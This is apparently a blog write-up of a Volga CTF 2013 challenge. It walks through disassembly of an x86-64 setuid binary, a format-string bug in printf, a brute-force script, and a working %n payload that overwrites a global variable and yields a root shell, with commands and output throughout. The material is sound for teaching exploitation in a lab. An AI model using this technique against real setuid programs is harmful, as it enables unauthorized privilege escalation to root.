Sunday, May 5, 2013

Volga CTF Quals 2013 - Exploitation 200

For this challenge we got a x86-64 setuid binary. I couldnt finish the challenge in time, during the contest. Here is a write up on solving the challenge. We have to exploit a format string vulnerability in the x86-64 ELF binary. This is what the binary does

[*] While True
[*] A buffer space of 512 bytes is initialised to NULL
[*] fgets(buffer, 511, stdin) is used to get the user input
[*] printf(buffer) is called, resulting in a format string vulnerability
[*] A series of computations are made using the value of variable "cycle" which is set to NULL initially
[*] If the computations succeed, system("exec /bin/sh") is called. Else the loop continues from beginning

Important section of the binary:
   0x0000000000400630 <+28>: nop     # while 1
   0x0000000000400631 <+29>: lea    rsi,[rbp-0x210]
   0x0000000000400638 <+36>: mov    eax,0x0
   0x000000000040063d <+41>: mov    edx,0x40    # 64
   0x0000000000400642 <+46>: mov    rdi,rsi
   0x0000000000400645 <+49>: mov    rcx,rdx
   0x0000000000400648 <+52>: rep stos QWORD PTR es:[rdi],rax  # initialize 512 bytes of memory [rbp-0x210] to NULL
   0x000000000040064b <+55>: mov    rax,QWORD PTR [rip+0x2009e6]  # 0x601038 ;stdin
   0x0000000000400652 <+62>: mov    rdx,rax
   0x0000000000400655 <+65>: lea    rax,[rbp-0x210]
   0x000000000040065c <+72>: mov    esi,0x1ff   
   0x0000000000400661 <+77>: mov    rdi,rax
   0x0000000000400664 <+80>: call   0x400510 <fgets@plt> # fgets([rbp-0x210], 511, stdin)
   0x0000000000400669 <+85>: lea    rax,[rbp-0x210]
   0x0000000000400670 <+92>: movzx  eax,BYTE PTR [rax]
   0x0000000000400673 <+95>: test   al,al    
   0x0000000000400675 <+97>: jne    0x400681 <main+109>
   0x0000000000400677 <+99>: mov    edi,0xffffffff
   0x000000000040067c <+104>: call   0x400520 <exit@plt>
   0x0000000000400681 <+109>: lea    rax,[rbp-0x210]
   0x0000000000400688 <+116>: mov    rdi,rax
   0x000000000040068b <+119>: mov    eax,0x0
   0x0000000000400690 <+124>: call   0x4004f0 <printf@plt> # printf([rbp-0x210]) ; format string vulnerability
   0x0000000000400695 <+129>: mov    eax,DWORD PTR [rip+0x2009b5] # 0x601050 <cycle>==NULL
   0x000000000040069b <+135>: and    eax,0xffff      
   0x00000000004006a0 <+140>: mov    DWORD PTR [rbp-0x218],eax
   0x00000000004006a6 <+146>: mov    eax,DWORD PTR [rip+0x2009a4] # 0x601050 <cycle>
   0x00000000004006ac <+152>: shr    eax,0x10       
   0x00000000004006af <+155>: mov    DWORD PTR [rbp-0x214],eax
   0x00000000004006b5 <+161>: mov    eax,DWORD PTR [rbp-0x218]
   0x00000000004006bb <+167>: mov    edx,eax
   0x00000000004006bd <+169>: imul   edx,DWORD PTR [rbp-0x218]
   0x00000000004006c4 <+176>: mov    eax,DWORD PTR [rbp-0x214]
   0x00000000004006ca <+182>: imul   eax,DWORD PTR [rbp-0x214]
   0x00000000004006d1 <+189>: imul   eax,eax,0xffffffffffffffe3 
   0x00000000004006d4 <+192>: add    eax,edx
   0x00000000004006d6 <+194>: cmp    eax,0x1
   0x00000000004006d9 <+197>: jne    0x400630 <main+28> # else break
   0x00000000004006df <+203>: mov    edi,0x4007dc
   0x00000000004006e4 <+208>: call   0x4004e0 <system@plt>    # system("exec /bin/sh")
   0x00000000004006e9 <+213>: jmp    0x400630 <main+28>

To exploit the binary:

[*] Find the value of cycle variable, to break the loop and execute system()
[*] Write this value into the cycle variable using the format string bug.

First find the value of cycle variable. A simple script can bruteforce this value. The value was found to be 1.
#!/usr/bin/env python

for i in range(10000):
   val1 = i & 0xffff
   val2 = i >> 0x10
   edx = val1 * val1
   eax = val2 * val2
   eax = eax * -29
   eax = eax + edx
   if eax == 1 :
       print i
Now, we have to write 1 into the memory location 0x601050 (&cycle). Lets try this using format string vulnerability
renorobert@renorobert:~/Desktop$ echo -ne '%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx' | ./expl200
We can reach our buffer containing format string in 8 QWORDs. There are few things that we should note

[*] Payload has to be aligned in 8 bytes(QWORD)
[*] fgets() can read NUL bytes and stops reading only with new line or EOF
[*] Piping data into the binary will not give an interactive shell

Now lets pass the address and try writing data into the location
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qxAA\x50\x10\x60' | ./expl200
|601050AAP `
"|%9$qxAA" is 8 bytes of data, byte aligned to QWORD. 9th QWORD has the adress of destination to overwrite
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' | ltrace -i ./expl200
[0x400559] __libc_start_main(0x400614, 1, 0x7fffaa066828, 0x4006f0, 0x400780 <unfinished ...>
[0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0)              = 0x7fffaa066530
[0x400695] printf("|%9$qnAAP\020`", 0x7fcbe7f1e000)             = 6
[0x4006e9] system("exec /bin/sh" <unfinished ...>
[0x7fcbe79766e0] --- SIGCHLD (Child exited) ---
[0x4006e9] <... system resumed> )                               = 0
[0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0)              = NULL
[0x400681] exit(-1|AAP ` <unfinished ...>
[0xffffffffffffffff] +++ exited (status 255) +++

renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' |  ./expl200
|AAP `
We have managed to execute system() function but there is no interactive shell. To overcome this, we will use cat command. fgets has to be terminated with newline '\n'
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60';cat) |  ./expl200

Segmentation fault
This is because, the newline 0x0a is written along with the address. So the address becomes 0x0a601050 instead of 0x601050. We will pad the address 0x601050 with 5 bytes of NUL to get a QWORD alignment. Now the new line 0x0a will be written into the 3rd QWORD.
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60\x00\x00\x00\x00\x00\n';cat) |  ./expl200 
uid=1000(renorobert) gid=1000(renorobert) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(renorobert)
We got a shell on the setuid root binary


  1. Hi Reno Robert,

    Could you please to share all binary of Volga CTF Exploitation challenges ? Thanks

    Best Regards,

    1. Hi VnSpl0it,

      I have only exploitation 100 and 200 with me :(